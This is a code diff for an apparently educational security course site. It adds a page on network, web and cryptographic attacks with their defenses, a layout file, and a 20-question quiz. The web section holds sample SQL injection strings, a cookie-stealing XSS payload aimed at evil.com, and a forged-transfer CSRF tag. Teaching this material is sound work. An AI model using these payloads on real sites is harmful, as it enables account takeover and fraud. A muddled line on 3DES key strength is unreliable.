  • BGP Hijacking: Attacker announces false BGP routes, rerouting internet traffic through their AS (Autonomous System). Used for large-scale traffic interception. Defense: BGP Route Origin Validation (ROV) using RPKI.
  • +
  • Defense against MITM: TLS with proper certificate validation. Certificate pinning (embed expected certificate in app). HSTS. Mutual TLS (mTLS) where both sides authenticate.
  • +
+
+ +
+

Replay Attack

+
    +
  • Attacker captures a valid data transmission (authentication token, signed message, command) and re-transmits it later to achieve the same effect as the original sender.
  • +
  • Example: Attacker captures a bank's "transfer £1000" request (even if it's encrypted). Replays it 10 times → 10 transfers. The bank can't tell it's a replay.
  • +
  • Another example: Wireless car key fob signals captured and replayed to unlock the car.
  • +
  • Defenses: Timestamps — reject any message older than a few seconds. Nonces — server issues a one-time random number; client must include it in the response. Server marks used nonces. Sequence numbers — each message has a unique incrementing number; reject duplicates. All three used in Kerberos and TLS.
  • +
+
+ +
+

ARP Spoofing / ARP Poisoning

+
    +
  • ARP (Address Resolution Protocol) resolves IP addresses to MAC addresses on a local network. It has no authentication — anyone can send ARP replies.
  • +
  • Attack: Attacker broadcasts fake ARP replies: "IP 192.168.1.1 is at MAC AA:BB:CC:DD:EE:FF" (attacker's MAC). All hosts update their ARP cache. Now traffic meant for the gateway goes to the attacker instead — classic MITM on a LAN.
  • +
  • Real-world tool: arpspoof, Ettercap, Bettercap.
  • +
  • Defenses: Dynamic ARP Inspection (DAI) on managed switches — validates ARP packets against a DHCP snooping table. Static ARP entries for critical hosts. 802.1X port authentication. VPN (encrypted traffic is still encrypted even if intercepted).
  • +
+
+ +
+

DNS Spoofing / Cache Poisoning

+
    +
  • DNS resolves domain names to IP addresses. If an attacker can insert a false record into a DNS resolver's cache, all clients using that resolver are redirected to the attacker's IP.
  • +
  • Kaminsky Attack (2008): By sending many spoofed DNS responses with different transaction IDs, an attacker could poison a DNS cache without being on the path between client and DNS server. Affected essentially every DNS implementation. Patched by randomizing source ports and using random transaction IDs.
  • +
  • Defenses: DNSSEC — DNS records are digitally signed. Resolvers verify signatures. DNS over HTTPS (DoH) / DNS over TLS (DoT) — encrypts DNS queries, preventing interception and modification. Prevents passive surveillance of DNS queries too.
  • +
+
+
+ +
+

Application-Level Attacks

+ +
+

SQL Injection (SQLi)

+
    +
  • Attacker inserts malicious SQL code into user input fields, which is then executed by the database as part of a query.
  • +
  • Classic example: Login form. Intended query: SELECT * FROM users WHERE username='alice' AND password='password'. Attacker enters username: ' OR '1'='1' --. Query becomes: SELECT * FROM users WHERE username='' OR '1'='1' --' AND password=''. '1'='1' is always true, -- comments out the password check. Attacker logs in as any user.
  • +
  • UNION attack: ' UNION SELECT username, password FROM admins -- → dumps admin credentials into the response.
  • +
  • Blind SQLi: No output is returned but attacker infers database contents from timing differences (time-based) or boolean responses (content-based).
  • +
  • Defenses: Parameterized queries (prepared statements) — the query and data are sent to the database separately; user input can never be interpreted as SQL. Input validation and whitelisting. Least-privilege database accounts — web app DB user should not have DROP/DELETE privileges. WAF as additional layer. Stored procedures (if parameterized).
  • +
+
+ +
+

XSS (Cross-Site Scripting)

+
    +
  • Attacker injects malicious JavaScript into a web page that is then executed in other users' browsers. The victim's browser runs the script in the context of the trusted website.
  • +
  • Stored (Persistent) XSS: Malicious script is stored on the server (e.g. in a comment or forum post) and served to all visitors. Most dangerous type. Example: Attacker posts a comment containing <script>document.location='https://evil.com/?c='+document.cookie</script>. Every user who views the page sends their session cookie to the attacker.
  • +
  • Reflected XSS: Malicious script is embedded in a URL. Server reflects it back in the response. Victim must be tricked into clicking the malicious link. Example: https://bank.com/search?q=<script>...</script>.
  • +
  • DOM-based XSS: Client-side JavaScript reads from the URL (e.g. document.location) and writes it to the page unsanitized. Never touches the server.
  • +
  • What attackers can do with XSS: Steal session cookies → hijack accounts. Redirect to phishing pages. Log keystrokes. Perform actions as the victim. Spread worm-like to other users (stored XSS).
  • +
  • Defenses: Output encoding — encode all user-supplied content before inserting into HTML (< → &lt; etc.). Content Security Policy (CSP) header — tells browser which scripts are allowed to execute; blocks inline scripts. HttpOnly cookie flag — prevents JavaScript from accessing session cookies. Input validation and sanitization. Avoid innerHTML — use textContent instead.
  • +
+
+ +
+

CSRF (Cross-Site Request Forgery)

+
    +
  • Attacker tricks a logged-in victim's browser into sending an unwanted request to a web application where the victim is authenticated. The server sees the request with the victim's valid session cookie and processes it.
  • +
  • Example: Victim is logged into their bank (session cookie auto-sent). Attacker sends a phishing email with a link to evil.com. evil.com contains: <img src="https://bank.com/transfer?to=attacker&amount=1000">. When victim loads evil.com, browser automatically sends the GET request to bank.com with the session cookie. Bank processes the transfer.
  • +
  • Why it works: Browsers automatically include cookies for a domain in every request to that domain, regardless of which page initiated the request.
  • +
  • Defenses: CSRF tokens — server generates a random unpredictable token, embeds it in every form, verifies it on submission. Attacker on evil.com cannot read the CSRF token from bank.com (same-origin policy). SameSite cookie attribute — SameSite=Strict: cookie only sent for same-site requests. SameSite=Lax: sent for top-level navigations only. Effectively prevents CSRF. Origin/Referer header check — server rejects requests whose Origin/Referer header doesn't match the expected domain.
  • +
+
+
+ +
+

Cryptographic Attacks

+ +
+
    +
  • Brute Force: Systematically try every possible key or password. Against AES-256: 2²⁵⁶ attempts needed — infeasible for millions of years. Against a 6-character alphanumeric password: 62⁶ ≈ 57 billion — cracked in seconds by a modern GPU. Defense: large key sizes (128+ bits), account lockout and rate limiting for passwords.
  • +
  • Dictionary Attack: Try words from a list of common passwords instead of all possible combinations. Most users choose predictable passwords ("password123", "qwerty"). Defense: salted password hashing (Argon2, bcrypt) makes precomputed dictionaries useless. Each password has a unique salt.
  • +
  • Rainbow Table Attack: Precompute a hash-to-password mapping for all common passwords. Look up hash instantly instead of computing. Against unsalted MD5 hashes, an entire dictionary can be reversed in milliseconds. Defense: salting. A salt makes precomputed tables useless because you'd need a separate table for every possible salt value.
  • +
  • Birthday Attack: Uses the birthday paradox to find hash collisions faster. For an n-bit hash, finding a collision takes only 2^(n/2) attempts instead of 2^n. For MD5 (128-bit), only 2⁶⁴ attempts needed for a collision — feasible. Defense: use hash outputs ≥ 256 bits.
  • +
  • Side-Channel Attack: Exploits physical implementation characteristics rather than mathematical weaknesses. Timing attack: measure decryption time — different operations take different times, revealing key bits. Power analysis: measure power consumption during crypto operations — correlates with intermediate key values (used against smart cards and HSMs). Acoustic cryptanalysis: microphone picks up computer sounds during RSA decryption. Defense: constant-time implementations, power analysis countermeasures in hardware.
  • +
  • Padding Oracle Attack: If a server reveals (via different error messages or timing) whether decrypted ciphertext has valid padding (e.g. PKCS#7), an attacker can decrypt arbitrary ciphertext byte by byte without the key. Broke CBC mode in TLS (POODLE, BEAST attacks). Defense: always use AEAD modes (AES-GCM) — no separate MAC, no padding oracle. In TLS 1.3, this is enforced.
  • +
  • Meet-in-the-Middle Attack: Against double encryption (encrypt twice with two different keys). Instead of 2^(2k) brute force effort, attacker can do it in 2^(k+1) using a table. Why Triple-DES uses 3 keys — 2-key 3DES is only 2^112 secure (not 2^112 due to MITM reducing it from 2^112 somewhat). Defense: use enough key bits that MITM is still infeasible.
  • +
+
+
+ +
+

General Security Principles

+
+
    +
  • Defense in Depth: Use multiple overlapping security layers. If one fails, others compensate. Example: Firewall + IDS + Application WAF + Input validation + Encryption + Logging. An attacker must defeat all layers. No single point of failure.
  • +
  • Principle of Least Privilege: Every user, process, and system should have the minimum access rights needed for their function. A web server process should not run as root. A database user for a read-only report should only have SELECT privilege. An intern should not have admin rights. Limits damage from compromise.
  • +
  • MFA (Multi-Factor Authentication): Require at least two of: Something you know (password, PIN). Something you have (phone app, hardware token, smart card). Something you are (fingerprint, face, iris). Greatly reduces account compromise even if password is stolen. Phishing-resistant MFA: hardware security keys (FIDO2/WebAuthn) cannot be phished — the key verifies the domain before signing.
  • +
  • Patch Management: 60% of breaches exploit known vulnerabilities with available patches. Keep OS, applications, firmware updated. Use a systematic process: vulnerability scanning → prioritize critical patches → test → deploy → verify. Emergency patching process for critical zero-days.
  • +
  • Zero Trust Architecture: "Never trust, always verify." Assume no user or device is trustworthy by default, even inside the network. Every access request must be authenticated and authorized. Replaces the traditional perimeter model ("trusted inside, untrusted outside") which fails when the perimeter is breached.
  • +
  • Separation of Duties: No single person should control an entire sensitive process. Example: in banking, the person who authorizes a transaction should not be the person who executes it. Prevents insider fraud.
  • +
  • Security by Obscurity (avoid as sole defense): Hiding system details (secret algorithm, hidden port) provides weak security. Attackers can discover it. Never rely solely on obscurity. It can be a small additional layer, but must not be the primary control.
  • +
+
+
+ +
+

Key Points to Remember

+
+
    +
  • SYN flood = half-open connection exhaustion. Defense: SYN cookies.
  • +
  • DDoS uses botnets. Amplification attacks spoof victim IP to get servers to flood it.
  • +
  • MITM = intercept + possibly alter. Defense: TLS + certificate validation + HSTS.
  • +
  • Replay = reuse valid transmission. Defense: timestamps + nonces + sequence numbers.
  • +
  • ARP spoofing = fake ARP replies on LAN → MITM. Defense: Dynamic ARP Inspection.
  • +
  • DNS cache poisoning = fake DNS → redirect to malicious IP. Defense: DNSSEC, DoH/DoT.
  • +
  • SQLi = input interpreted as SQL. Defense: parameterized queries (prepared statements).
  • +
  • XSS = injected JS runs in victim's browser. Defense: output encoding + CSP + HttpOnly.
  • +
  • CSRF = browser auto-sends cookies to tricked request. Defense: CSRF tokens + SameSite.
  • +
  • Side-channel = physical measurement leaks key. Defense: constant-time algorithms.
  • +
  • Defense in Depth + Least Privilege + MFA are the three most important security principles.
  • +
+
+
+
+ ); +}; \ No newline at end of file diff --git a/app/sem5/cns/layout.tsx b/app/sem5/cns/layout.tsx new file mode 100644 index 0000000..4510ff8 --- /dev/null +++ b/app/sem5/cns/layout.tsx @@ -0,0 +1,28 @@ +import React from "react"; +import Navbar from "../../components/navbar"; +import Sidebar from "./components/sidebar"; + +export const metadata = { + title: "Cryptography & Network Security | openCSE", + description: "Free and Open Documentations for Cryptography & Network Security", +}; + +export default function CNSLayout({ + children, +}: { + children: React.ReactNode; +}) { + return ( +
+ +
+ +
+
+ {children} +
+
+
+
+ ); +} \ No newline at end of file diff --git a/lib/quizData.ts b/lib/quizData.ts index f5975fe..a33080d 100644 --- a/lib/quizData.ts +++ b/lib/quizData.ts @@ -213,6 +213,153 @@ export const quizzes: Quiz[] = [ }, ], }, + { + subject: "Cryptography & Network Security", + slug: "cns", + description: "Test your knowledge of encryption, hashing, network protocols, and security attacks.", + questions: [ + { + id: 1, + question: "Which key size does DES use?", + options: ["128-bit", "64-bit", "56-bit", "256-bit"], + answer: 2, + explanation: "DES uses a 56-bit key, which is now considered too short and easily brute-forced.", + }, + { + id: 2, + question: "What does AES stand for?", + options: ["Advanced Encryption Standard", "Asymmetric Encryption System", "Advanced Exchange Standard", "Authenticated Encryption Scheme"], + answer: 0, + explanation: "AES stands for Advanced Encryption Standard, adopted in 2001 to replace DES.", + }, + { + id: 3, + question: "Which AES operation provides diffusion by mixing column bytes?", + options: ["SubBytes", "ShiftRows", "MixColumns", "AddRoundKey"], + answer: 2, + explanation: "MixColumns multiplies each column by a fixed polynomial in GF(2⁸), spreading byte influence across the column.", + }, + { + id: 4, + question: "RSA security is based on the difficulty of:", + options: ["Discrete logarithm", "Integer factorization", "Hash collisions", "Elliptic curves"], + answer: 1, + explanation: "RSA relies on the fact that factoring a large number (product of two primes) is computationally infeasible.", + }, + { + id: 5, + question: "In RSA key generation, what is φ(n) when p=61 and q=53?", + options: ["3233", "3120", "3180", "3060"], + answer: 1, + explanation: "φ(n) = (p−1)(q−1) = 60 × 52 = 3120.", + }, + { + id: 6, + question: "Which mode of operation makes identical plaintext blocks produce identical ciphertext and is considered insecure?", + options: ["CBC", "CTR", "ECB", "CFB"], + answer: 2, + explanation: "ECB (Electronic Codebook) encrypts each block independently, so identical plaintext always gives identical ciphertext.", + }, + { + id: 7, + question: "Which hash algorithm is currently considered secure and widely used?", + options: ["MD5", "SHA-1", "SHA-256", "CRC32"], + answer: 2, + explanation: "MD5 and SHA-1 are broken. SHA-256 (part of SHA-2) is the current standard for security applications.", + }, + { + id: 8, + question: "What does HMAC add to a hash function?", + options: ["Compression", "A secret key", "Encryption", "Digital certificate"], + answer: 1, + explanation: "HMAC combines a hash with a secret key, providing both integrity and authentication.", + }, + { + id: 9, + question: "What property of digital signatures prevents a sender from denying they sent a message?", + options: ["Confidentiality", "Integrity", "Non-repudiation", "Availability"], + answer: 2, + explanation: "Non-repudiation means the sender cannot deny sending the message since only they hold the private key used to sign it.", + }, + { + id: 10, + question: "Which TLS version introduced mandatory forward secrecy and 1-RTT handshake?", + options: ["SSL 3.0", "TLS 1.0", "TLS 1.2", "TLS 1.3"], + answer: 3, + explanation: "TLS 1.3 (2018) introduced 1-RTT handshake, removed weak ciphers, and made forward secrecy mandatory.", + }, + { + id: 11, + question: "HTTPS uses which port by default?", + options: ["80", "8080", "443", "21"], + answer: 2, + explanation: "HTTPS uses port 443. HTTP uses port 80.", + }, + { + id: 12, + question: "Which IPSec component provides encryption in addition to authentication?", + options: ["AH", "ESP", "IKE", "SA"], + answer: 1, + explanation: "ESP (Encapsulating Security Payload) provides encryption, integrity, and authentication. AH provides only integrity and authentication.", + }, + { + id: 13, + question: "Which type of firewall tracks the state of active connections?", + options: ["Packet filtering", "Stateful inspection", "Application layer", "Honeypot"], + answer: 1, + explanation: "Stateful inspection firewalls track connection state and allow return traffic for established sessions.", + }, + { + id: 14, + question: "An IDS differs from an IPS in that an IDS:", + options: ["Blocks traffic", "Only detects and alerts", "Encrypts traffic", "Filters packets"], + answer: 1, + explanation: "An IDS (Intrusion Detection System) only monitors and alerts. An IPS (Intrusion Prevention System) actively blocks threats.", + }, + { + id: 15, + question: "Which attack re-sends a previously captured valid authentication token?", + options: ["Replay attack", "MITM attack", "DDoS attack", "Birthday attack"], + answer: 0, + explanation: "A replay attack captures a valid transmission and re-sends it later to gain unauthorized access.", + }, + { + id: 16, + question: "What is the best defense against SQL Injection?", + options: ["Firewalls", "Parameterized queries", "HTTPS", "Rate limiting"], + answer: 1, + explanation: "Parameterized queries (prepared statements) separate SQL code from user input, preventing injection.", + }, + { + id: 17, + question: "XSS attacks inject malicious content into:", + options: ["Databases", "Web pages viewed by other users", "DNS records", "SSL certificates"], + answer: 1, + explanation: "XSS (Cross-Site Scripting) injects malicious scripts into web pages that other users load in their browsers.", + }, + { + id: 18, + question: "Which principle states users should only have the minimum access they need?", + options: ["Defense in depth", "Least privilege", "Non-repudiation", "Forward secrecy"], + answer: 1, + explanation: "The principle of least privilege limits access rights to only what is necessary, reducing the attack surface.", + }, + { + id: 19, + question: "Diffie-Hellman key exchange is vulnerable to which attack without authentication?", + options: ["Replay", "Birthday", "Man-in-the-Middle", "Brute force"], + answer: 2, + explanation: "Without authentication, an attacker can intercept and replace both parties' public values in a MITM attack.", + }, + { + id: 20, + question: "Which Kerberos component issues the initial Ticket Granting Ticket (TGT)?", + options: ["TGS", "KDC/AS", "ESP", "CA"], + answer: 1, + explanation: "The Authentication Server (AS), part of the Key Distribution Center (KDC), issues the TGT after verifying the user's credentials.", + }, + ], + }, { subject: "English Communication", slug: "ec",